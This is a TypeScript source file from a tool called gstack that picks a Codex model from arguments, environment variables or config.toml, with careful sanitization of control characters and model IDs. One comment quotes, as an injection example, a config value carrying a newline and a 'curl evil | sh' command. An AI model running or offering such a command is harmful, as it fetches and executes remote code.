Skill Tracer
Skills › gstack › gstack › resolve-codex-generation-model.ts

resolve-codex-generation-model.ts

264 lines · scripts/resolve-codex-generation-model.ts at 3f79d81

1#!/usr/bin/env -S bun --no-env-file --config=/dev/null
2
3import * as fs from 'fs';
4import * as os from 'os';
5import * as path from 'path';
6import { ALL_MODEL_NAMES, resolveModel, type Model } from './models';
7import { ModelPolicyError, resolvePlanReviewModel, selectionRepair, type ModelSelection } from '../lib/model-policy';
8import { emitModelPolicyNotice } from '../lib/model-policy-notice';
9
10export interface CodexGenerationModelResolution {
11 model: Model;
12 source: string;
13 warnings: string[];
16const CODEX_DEFAULT_MODEL: Model = 'gpt-6-astra';
17const DEFAULT_SOURCE = `default (${CODEX_DEFAULT_MODEL})`;
19/**
20 * Strip control characters from strings that originate in the user's
21 * config.toml or environment before they reach warning/stdout text. A hostile
22 * config value like `model = "x\nERROR: run curl evil | sh"` must not be able
23 * to inject fake lines into setup's terminal output or desync the TSV stdout
24 * contract. Warning interpolations additionally cap length for display.
25 */
26function stripControl(value: string): string {
27 // eslint-disable-next-line no-control-regex
28 return value.replace(/[\x00-\x1f\x7f]/g, ' ');
31function sanitize(value: string): string {
32 return stripControl(value).slice(0, 200);
35export function resolveCodexGenerationModel(opts: {
36 explicit?: string;
37 codexHome?: string;
38 home?: string;
39} = {}): CodexGenerationModelResolution {
40 if (opts.explicit !== undefined) {
41 const model = resolveModel(opts.explicit);
42 if (!model) {
43 throw new Error(
44 `Unknown model '${sanitize(opts.explicit)}'. Accepted models: ${ALL_MODEL_NAMES.join(', ')}`,
45 );
46 }
47 return { model, source: '--model', warnings: [] };
48 }
50 // os.homedir() falls back to USERPROFILE on Windows and never returns '' —
51 // a raw HOME fallback of '' would make codexHome the RELATIVE path '.codex',
52 // letting a repo-committed .codex/config.toml (CWD-resolved) select the
53 // behavioral profile.
54 const home = opts.home ?? process.env.HOME ?? os.homedir();
55 const codexHome = opts.codexHome ?? process.env.CODEX_HOME ?? path.join(home, '.codex');
56 const configPath = path.join(codexHome, 'config.toml');
57 const warnings: string[] = [];
59 const fallback = (warning?: string): CodexGenerationModelResolution => {
60 if (warning) warnings.push(warning);
61 return { model: CODEX_DEFAULT_MODEL, source: DEFAULT_SOURCE, warnings };
62 };
64 if (!path.isAbsolute(codexHome)) {
65 return fallback(`Codex home '${sanitize(codexHome)}' is not an absolute path; using Codex default ${CODEX_DEFAULT_MODEL}.`);
66 }
68 let raw: string;
69 try {
70 raw = fs.readFileSync(configPath, 'utf8');
71 } catch (error) {
72 const code = (error as NodeJS.ErrnoException).code;
73 if (code !== 'ENOENT') {
74 return fallback(`Could not read ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
75 }
76 return fallback();
77 }
79 let parsed: Record<string, unknown>;
80 try {
81 parsed = Bun.TOML.parse(raw) as Record<string, unknown>;
82 } catch {
83 return fallback(`Could not parse ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
84 }
86 if (!Object.prototype.hasOwnProperty.call(parsed, 'model')) {
87 return fallback();
88 }
89 if (typeof parsed.model !== 'string') {
90 return fallback(`Top-level model in ${sanitize(configPath)} is not a string; using Codex default ${CODEX_DEFAULT_MODEL}.`);
91 }
93 const model = resolveModel(parsed.model);
94 if (!model) {
95 return fallback(`Unsupported top-level model '${sanitize(parsed.model)}' in ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
96 }
98 // Sol is exact-only by design (Terra/Luna/dated snapshots must not inherit
99 // its profile), but a near-miss like 'gpt-5.6-sol-2026-08-01' silently
100 // family-mapping to generic gpt is unobservable — surface it.
101 if (model === 'gpt' && parsed.model.trim().startsWith('gpt-5.6-sol') && parsed.model.trim() !== 'gpt-5.6-sol') {
102 warnings.push(`Model '${sanitize(parsed.model)}' maps to the generic gpt profile — the Sol profile requires the exact ID 'gpt-5.6-sol'.`);
103 }
105 return { model, source: configPath, warnings };
108export type CodexInvocationKind = 'exec' | 'review';
110export interface CodexRuntimeModelSelection {
111 kind: CodexInvocationKind;
112 /** Raw Codex model id, passed unchanged to the probe and to dispatch. */
113 model: string;
114 source: string;
117/** Characters a model id may carry before it is interpolated into `-c "model=\"…\""`. */
118export const CODEX_RUNTIME_MODEL_PATTERN = /^[A-Za-z0-9._:/-]{1,100}$/;
120const REPAIR = 'Choose a model your Codex account can use: name it for this request, set GSTACK_CODEX_MODEL=<model>, or set model in the Codex config.toml.';
122/**
123 * Runtime model for gstack-owned Codex calls (#2914). Unlike the generation
124 * resolver above, this returns the user's raw model id (no prompt-overlay
125 * mapping), so ids without a dedicated overlay still work. Precedence: explicit
126 * request, GSTACK_CODEX_MODEL, Codex config.toml (`review_model` first for native
127 * review, then the legacy active profile's model, then `model`), then gstack's
128 * default. Any invalid user choice throws a repair message instead of falling
129 * back to the default.
130 */
131export function resolveCodexRuntimeModel(opts: {
132 kind: CodexInvocationKind;
133 explicit?: string;
134 env?: Record<string, string | undefined>;
135 codexHome?: string;
136 home?: string;
137}): CodexRuntimeModelSelection {
138 const env = opts.env ?? process.env;
139 const chosen = (source: string, raw: string): CodexRuntimeModelSelection => {
140 const model = raw.trim();
141 if (!CODEX_RUNTIME_MODEL_PATTERN.test(model)) {
142 throw new Error(`Invalid Codex model '${sanitize(raw)}' from ${sanitize(source)}: use 1-100 characters from A-Z a-z 0-9 . _ : / -. ${REPAIR}`);
143 }
144 return { kind: opts.kind, model, source: stripControl(source) };
145 };
146 if (opts.explicit) return chosen('explicit request', opts.explicit);
147 if (env.GSTACK_CODEX_MODEL) return chosen('GSTACK_CODEX_MODEL', env.GSTACK_CODEX_MODEL);
149 const home = opts.home ?? env.HOME ?? os.homedir();
150 const codexHome = opts.codexHome ?? env.CODEX_HOME ?? path.join(home, '.codex');
151 if (!path.isAbsolute(codexHome)) {
152 throw new Error(`CODEX_HOME '${sanitize(codexHome)}' is not an absolute path, so its config.toml model cannot be read. ${REPAIR}`);
153 }
154 const configPath = path.join(codexHome, 'config.toml');
155 let raw: string;
156 try {
157 raw = fs.readFileSync(configPath, 'utf8');
158 } catch (error) {
159 if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
160 return { kind: opts.kind, model: CODEX_DEFAULT_MODEL, source: `gstack default (no ${stripControl(configPath)})` };
161 }
162 throw new Error(`Could not read ${sanitize(configPath)}. ${REPAIR}`);
163 }
164 let parsed: Record<string, unknown>;
165 try {
166 parsed = Bun.TOML.parse(raw) as Record<string, unknown>;
167 } catch {
168 throw new Error(`Could not parse ${sanitize(configPath)}. ${REPAIR}`);
169 }
170 const profileName = typeof parsed.profile === 'string' ? parsed.profile : undefined;
171 const profiles = parsed.profiles as Record<string, Record<string, unknown> | undefined> | undefined;
172 const profile = profileName && typeof profiles === 'object' ? profiles?.[profileName] : undefined;
173 const candidates: Array<[string, unknown]> = [
174 ...(opts.kind === 'review' ? [[`${configPath} review_model`, parsed.review_model] as [string, unknown]] : []),
175 [`${configPath} [profiles.${profileName}].model`, profile?.model],
176 [`${configPath} model`, parsed.model],
177 ];
178 for (const [source, value] of candidates) {
179 if (value === undefined) continue;
180 if (typeof value !== 'string') throw new Error(`${sanitize(source)} is not a string. ${REPAIR}`);
181 return chosen(source, value);
182 }
183 return { kind: opts.kind, model: CODEX_DEFAULT_MODEL, source: `gstack default (no model in ${stripControl(configPath)})` };
186export interface CodexPlanReviewSelection extends CodexRuntimeModelSelection {
187 selection: ModelSelection;
188 /** Source-aware repair for this record, never a lower-priority setting. */
189 repair: string;
192/**
193 * Role-bearing Codex selection: the plan-review policy ranks request, env,
194 * tier config and catalog. Host mode keeps the legacy native resolver,
195 * labelled as delegated so its origin stays honest.
196 */
197export function resolveCodexPlanReviewModel(opts: {
198 kind: CodexInvocationKind;
199 explicit?: string;
200 env?: Record<string, string | undefined>;
201 codexHome?: string;
202 home?: string;
203 /** Invocation context forwarded to the shared role resolver. */
204 cwd?: string;
205}): CodexPlanReviewSelection {
206 const env = opts.env ?? process.env;
207 const selection = resolvePlanReviewModel({ provider: 'openai', requestedModel: opts.explicit || undefined, env, cwd: opts.cwd });
208 const repair = stripControl(selectionRepair(selection).join('; '));
209 if (selection.status === 'selected') {
210 const model = selection.requestedModel;
211 if (!CODEX_RUNTIME_MODEL_PATTERN.test(model)) {
212 throw new Error(`Invalid Codex model '${sanitize(model)}' from ${sanitize(selection.source.label)}. ${repair}`);
213 }
214 return { kind: opts.kind, model, source: stripControl(selection.source.label), selection, repair };
215 }
216 const native = resolveCodexRuntimeModel({ kind: opts.kind, env, codexHome: opts.codexHome, home: opts.home });
217 return { ...native, source: stripControl(`${selection.source.label}; ${native.source}`), selection, repair: repair || REPAIR };
220function policyFailure(error: unknown): string {
221 if (!(error instanceof ModelPolicyError)) return (error as Error).message;
222 return [`${error.problem} ${error.cause}`.trim(), ...error.repair.map(step => `Repair: ${step}`), `Docs: ${error.docs}`].join('\n');
225function readArg(name: string): string | undefined {
226 const exact = process.argv.indexOf(name);
227 if (exact >= 0) return process.argv[exact + 1];
228 const prefix = `${name}=`;
229 const joined = process.argv.find(arg => arg.startsWith(prefix));
230 return joined?.slice(prefix.length);
233if (import.meta.main) {
234 try {
235 const runtime = readArg('--runtime');
236 if (runtime !== undefined) {
237 if (runtime !== 'exec' && runtime !== 'review') throw new Error('Usage: --runtime exec|review [--explicit <model>] [--role plan-review]');
238 const role = readArg('--role');
239 if (role !== undefined) {
240 if (role !== 'plan-review') throw new Error('Usage: --role plan-review');
241 const record = resolveCodexPlanReviewModel({ kind: runtime, explicit: readArg('--explicit'), cwd: readArg('--cwd') });
242 emitModelPolicyNotice(record.selection);
243 process.stdout.write(`${record.model}\t${record.source}\t${record.selection.tier}\t${record.repair}\n`);
244 process.exit(0);
245 }
246 const selection = resolveCodexRuntimeModel({ kind: runtime, explicit: readArg('--explicit') });
247 process.stdout.write(`${selection.model}\t${selection.source}\n`);
248 process.exit(0);
249 }
250 const result = resolveCodexGenerationModel({
251 explicit: readArg('--explicit'),
252 codexHome: readArg('--codex-home'),
253 });
254 for (const warning of result.warnings) {
255 process.stderr.write(`warning: ${warning}\n`);
256 }
257 // model is always an ALL_MODEL_NAMES literal; source is control-stripped
258 // so a hostile CODEX_HOME cannot smuggle tabs/newlines into the TSV contract.
259 process.stdout.write(`${result.model}\t${stripControl(result.source)}\n`);
260 } catch (error) {
261 process.stderr.write(`${policyFailure(error)}\n`);
262 process.exit(1);
263 }